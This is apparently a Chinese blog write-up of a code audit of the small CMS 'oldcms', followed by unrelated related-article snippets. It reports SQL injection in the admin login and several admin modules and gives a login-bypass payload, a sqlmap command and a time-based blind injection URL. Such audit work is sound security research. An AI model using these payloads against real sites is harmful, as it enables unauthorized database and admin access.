当前位置： 首页 > article >正文

代码审计系列2：小众cms oldcms

article 2026/1/16 20:54:32

目录

sql注入

1.  admin/admin.php  Login_check

2. admin/application/label/index.php

3. admin/application/hr/index.php

4.  admin/application/feedback/index.php

5.  admin/application/article/index.php​

sql注入

1.  admin/admin.php  Login_check

先看一下pl_safe函数是做什么的

可以知道pl_safe是做过滤的，但是过滤的并不严谨，可绕过

选中Login_check函数，CTRL+b 跟进去

直接拼接，存在注入

这处后台登录的地方，可以使用sql万能密码登录后台

payload： admin' or '1'='1

sqlmap验证：python sqlmap.py -r test.txt --level 5 --risk 3

2. admin/application/label/index.php

$action_app值为edit,执行sql语句，sql语句$lbid直接拼接，造成注入

payload：http://ip:89/admin/admin.php?action=label&action_app=edit&lbid=1+AND+IF(1=1,SLEEP(5),0)

3. admin/application/hr/index.php

4.  admin/application/feedback/index.php

5.  admin/application/article/index.php

同理2，3，4

相关文章：

代码审计系列2：小众cms oldcms

目录 sql注入 1. admin/admin.php Login_check 2. admin/application/label/index.php 3. admin/application/hr/index.php 4. admin/application/feedback/index.php 5. admin/application/article/index.php​ sql注入 1. admin/admin.php Login_check 先看一下p…...

编程日记 2026/1/10 13:16:38

Cursor + MCP，实现自然语言操作 GitLab 仓库

本分分享如何使用 cursor mcp 来操作极狐GitLab 仓库，体验用自然语言在不接触极狐GitLab 的情况下来完成一些仓库操作。 极狐GitLab 是 GitLab 在中国的发行版，关于中文参考文档和资料有： 极狐GitLab 中文文档极狐GitLab 中文论坛极狐GitL…...

编程日记 2026/1/16 13:36:16

Vue el-from的el-form-item v-for循环表单如何校验rules（一）

实际业务需求场景： 新增或编辑页面（基础信息表单，一个数据列表的表单），数据列表里面的表单数是动态添加的。数据可新增、可删除，在表单保存前，常常需要做表单必填项的校验，校验通过以…...

编程日记 2026/1/10 13:16:51

C#集合List＜T＞与HashSet＜T＞的区别

在C#中，List和HashSet都是用于存储元素的集合，但它们在内部实现、用途、性能特性以及使用场景上存在一些关键区别。 内部实现 List：基于数组实现的，可以包含重复的元素，并且元素是按照添加的顺序存储的。 HashSet&…...

编程日记 2025/6/5 23:10:10

【Reading Notes】（8.3）Favorite Articles from 2025 March

【March】 雷军一度登顶中国首富，太厉害了（2025年03月02日） 早盘，小米港股一路高歌猛进，暴涨4%，股价直接飙到52港元的历史新高。这一波猛如虎的操作，直接把雷军的身家拉到了2980亿元&#xff0c…...

编程日记 2026/1/10 13:16:47

Spring Boot 项目里设置默认国区时区，Jave中Date时区配置

在 Spring Boot 项目里设置国区时区（也就是中国标准时间，即 Asia/Shanghai），可通过以下几种方式实现： 方式一：在application.properties或application.yml里设置 application.properties properties sp…...

编程日记 2026/1/5 10:36:39

从PDF到播客：MIT开发的超越NotebookLM的工具

NotebookLM是谷歌推出的更具创意的AI产品之一，几个月前刚刚推出。 许多人对它的能力感到惊叹——尤其是将长文本转化为两位播客主持人之间有趣对话的功能。 NotebookLM提供的不仅仅是这些，还包括聊天（问答）甚至生成思维导图。 如果你还没有尝试过NotebookLM，我强烈建议…...

编程日记 2026/1/10 13:17:10

Kotlin协程Semaphore withPermit约束并发任务数量

Kotlin协程Semaphore withPermit约束并发任务数量 import kotlinx.coroutines.* import kotlinx.coroutines.sync.Semaphore import kotlinx.coroutines.sync.withPermit import kotlinx.coroutines.launch import kotlinx.coroutines.runBlockingfun main() {val permits 1 /…...

编程日记 2026/1/10 8:23:01

Redis的下载安装和使用（超详细）

目录 一、所需的安装包资源小编放下述网盘了，提取码：wshf 二、双击打开文件redis.desktop.manager.exe 三、点击next后，再点击i agree 四、点击箭头指向，选择安装路径，然后点击Install进行安装 五、安装完后依次点…...

编程日记 2026/1/10 8:41:14

Springboot 学习 之 logback-spring.xml 日志打印

文章目录 1. property2. springProperty3. appender4. logger4.1. 通过包路径控制日志4.2. 通过类名控制日志4.3. 按自定义 Logger 名称控制日志 5. root6. springProfile SpringBoot 项目中可以通过自定义 logback-spring.xml 中各项配置，实现日志的打印控制 1. p…...

编程日记 2026/1/9 3:57:31

从游戏显卡到AI引擎：NVIDIA CUDA如何重构计算世界的底层逻辑

当GPU不再是"显卡" 2025年，当ChatGPT-5的万亿参数模型在0.1秒内完成推理时，人们很少意识到，支撑这场智能革命的不仅是算法突破，更是一场持续20年的架构革命。NVIDIA CUDA技术，这个最初被游戏玩家视为"…...

编程日记 2026/1/15 4:16:46

无线网络入侵检测系统实战 | 基于React+Python的可视化安全平台开发详解

随着无线网络的普及，网络攻击风险也日益严峻。本项目旨在构建一个实时监测、智能识别、高效防护的无线网络安全平台，通过结合前后端技术与安全算法，实现对常见攻击行为的有效监控和防御。 一、项目简介与功能目的 本系统是一款基于 React 前…...

编程日记 2026/1/10 6:26:43

前端 实现文字打字效果（仿AI）

DOM结构 <scroll-view class"scroll-view" scroll-y"true" :scroll-top"scrollTop" :style"{height: contentHeight px}"scroll-with-animation show-scrollbar"false" id"report-scroll-view"><view …...

编程日记 2025/12/6 0:06:22

C#核心（25）练手小项目：飞机大战

简介 通过核心部分的学习，我们已经可以做一些复杂的项目了。 我们这次会用我们学到的面向对象知识写一个飞机大战（性能可能不太好，因为毕竟是控制台项目） 如果你有所不懂，建议多查多思考多问。 因为这次的项目比较难，博主会稍微讲仔细一点。 基类设计：GameObject 抽…...

编程日记 2026/1/15 18:54:48

[经验总结]Linux双机双网卡Keepalived高可用配置及验证细节

1. 前言 这种配置需求比较少见&#xff0c;在网上也很少有相关文章&#xff0c;于是记录在此&#xff0c;供有需要的朋友参考。 本篇重点介绍配置的关键点&#xff0c;基础部分简单提及&#xff0c;不赘述。 2. 需求描述 如上图&#xff0c;即给两个主机配置两对高可用主从配…...

编程日记 2026/1/13 12:07:11

Go语言入门到入土——三、处理并返回异常

Go语言入门到入土——三、处理并返回异常 文章目录 Go语言入门到入土——三、处理并返回异常1. 在greetings.go中添加异常处理代码2. 在hello.go中添加日志记录代码3. 运行 1. 在greetings.go中添加异常处理代码 处理空输入的异常&#xff0c;代码如下&#xff1a; package g…...

编程日记 2025/12/5 15:55:56

2025.04.17【Dendrogram】生信数据可视化：Dendrogram图表详解

Dendrogram customization Go further with ggraph: edge style, general layout, node features, adding labels, and more. Customized circular dendrogram Learn how to build a circular dendrogram with proper labels. 文章目录 Dendrogram customizationCustomized c…...

编程日记 2026/1/10 8:40:58

Linux下的网络管理

一、ipv4原理 网络接口是指网络中的计算机或网络设备与其他设备实现通讯的进出口&#xff0c;一般是指计算机的网络接口即网卡设备 从RHEL7开始引入了一种新的“一致网络设备命名”的方式为网络接口命名&#xff0c;该方式可以根据固件、设备拓扑、设备类型和位置信息分配固…...

编程日记 2026/1/10 8:41:26

GPT-4o Image Generation Capabilities: An Empirical Study

GPT-4o 图像生成能力：一项实证研究 目录 介绍研究背景方法论文本到图像生成图像到图像转换图像到 3D 能力主要优势局限性与挑战对比性能影响与未来方向结论介绍 近年来，图像生成领域发生了巨大的变化，从生成对抗网络 (GAN) 发展到扩散模型，再到可以处理多种模态的统一生成架…...

编程日记 2025/12/6 2:54:28

Zookeeper介绍与安装配置

1.综述 1.1.Zookeeper介绍 Zookeeper 是一个分布式协调服务&#xff0c;由 Apache 开发&#xff0c;主要用于管理分布式应用中的配置信息、命名服务、分布式同步和组服务。它通过简单的接口提供高性能、高可用性和严格的顺序访问控制&#xff0c;广泛应用于分布式系统的协调与…...

编程日记 2026/1/12 22:09:04

提示词阶段总结

经过这些天的提示词学习&#xff0c;总结了一下提示词示例&#xff0c;可以直接拿来使用&#xff0c;规范大模型的输出。 CoT&#xff08;适用于算术题&#xff09; {问题}&#xff0c;让我们一步一步思考。 Auto-CoT&#xff08;自动思维链&#xff0c;适合回答多个问题一起…...

编程日记 2025/12/5 18:58:01

实验五 内存管理实验

实验五 内存管理实验 一、实验目的 1、了解操作系统动态分区存储管理过程和方法。 2、掌握动态分区存储管理的主要数据结构--空闲表区。 3、加深理解动态分区存储管理中内存的分配和回收。 4、掌握空闲区表中空闲区3种不同放置策略的基本思想和实现过程。 5、通过模拟程…...

编程日记 2026/1/10 8:41:07

用Webpack 基础配置快速搭建项目开发环境

Webpack 是一个现代 JavaScript 应用程序的静态模块打包工具&#xff0c;但是Webpack有大量的配置项&#xff0c;对新手不太友好&#xff0c;但是我们可以根据webpack-cli的init命令根据项目需求快速生成webpack的配置文件&#xff0c;本文将手把手教你如何用 Webpack 和 npm 快…...

编程日记 2026/1/10 8:40:34

Axios 介绍及使用指南

本文将基于 Axios 原理&#xff0c;安装及封装方面展开描述&#xff0c;话不多说&#xff0c;现在发车&#xff01; 一、原理 Axios 中文文档&#xff1a;起步 | Axios中文文档 | Axios中文网 赛前科普&#xff1a; 下文将涉及到三个关键词&#xff1a;Axios&#xff0c;Ajax…...

编程日记 2026/1/10 8:40:38

接口自动化测试(二)

一、接口测试流程&#xff1a;接口文档、用例编写 拿到接口文档——编写接口用例以及评审——进行接口测试——工具/自动化框架进行自动化用例覆盖(70%)——输出测试报告 自动化的目的一般是为了回归 第一件事情&#xff1a;理解需求&#xff0c;学会看接口文档 只需要找到我…...

编程日记 2026/1/10 8:41:38

Arduino+ESP826601s模块连接阿里云并实现温湿度数据上报

ArduinoESP826601s模块连接阿里云并实现温湿度数据上报 一、前言二、准备工作三、程序代码1. Arduino的程序2. ESP826601的程序3. 上面程序需要注意的地方 四、运行结果五、结束语 一、前言 看完我这三篇文章&#xff0c;相信各位朋友对于阿里云物联网平台的使用都有了一定的认…...

编程日记 2026/1/10 8:40:30

本地生活服务信息分类信息系统

最近在找分类信息系统&#xff0c;看了很多市面上常见的分类信息系统&#xff1a; 1&#xff0c;私集分类信息系统 2&#xff0c;火鸟分类信息系统 3&#xff0c;觅分类信息系统 4&#xff0c;框分类信息系统 5&#xff0c;蚂蚁分类信息系统 发现很多分类信息系统&#xff0c;…...

编程日记 2026/1/10 8:41:10

React Native 0.79 稳定版发布，更快的工具、更多改进

React Native 0.79 已发布。此版本在多个方面进行了性能改进&#xff0c;并修复了一些漏洞。首先&#xff0c;得益于延迟哈希技术&#xff0c;Metro 的启动速度变快了&#xff0c;并且对包导出提供了稳定支持。由于 JS 包压缩方式的改变等原因&#xff0c;Android 的启动时间也…...

编程日记 2025/12/6 6:57:57

【Dify应用】连接数据库生成Echarts图表

这里写自定义目录标题 需求文档内容测试环境实际效果工作流内容工具安装B工作流详解A工作流详解优化建议 需求 甲方要求。根据自然语言生成对应Echarts图表&#xff0c;并且数据来源于私有数据库。 文档内容 本文档内容主要展示使用Dify&#xff08;本地源码&#xff09;进行…...

编程日记 2026/1/10 8:40:47

无刷电机槽数相同、转子极数不同的核心区别

一、基础原理差异 无刷电机的核心参数： 槽数（定子槽数，记为 ( Z )）：定子铁芯上的绕组槽数量，决定绕组布局。极数（转子磁极数，记为 ( 2p )）：转子上的永磁体磁极对数（总极数为 ( 2p )，如 ( p=4 ) 表示 8 极）。核心关系：槽极配合（( Z/2p )）决定电机电磁结构，相同…...

编程日记 2026/1/16 19:49:06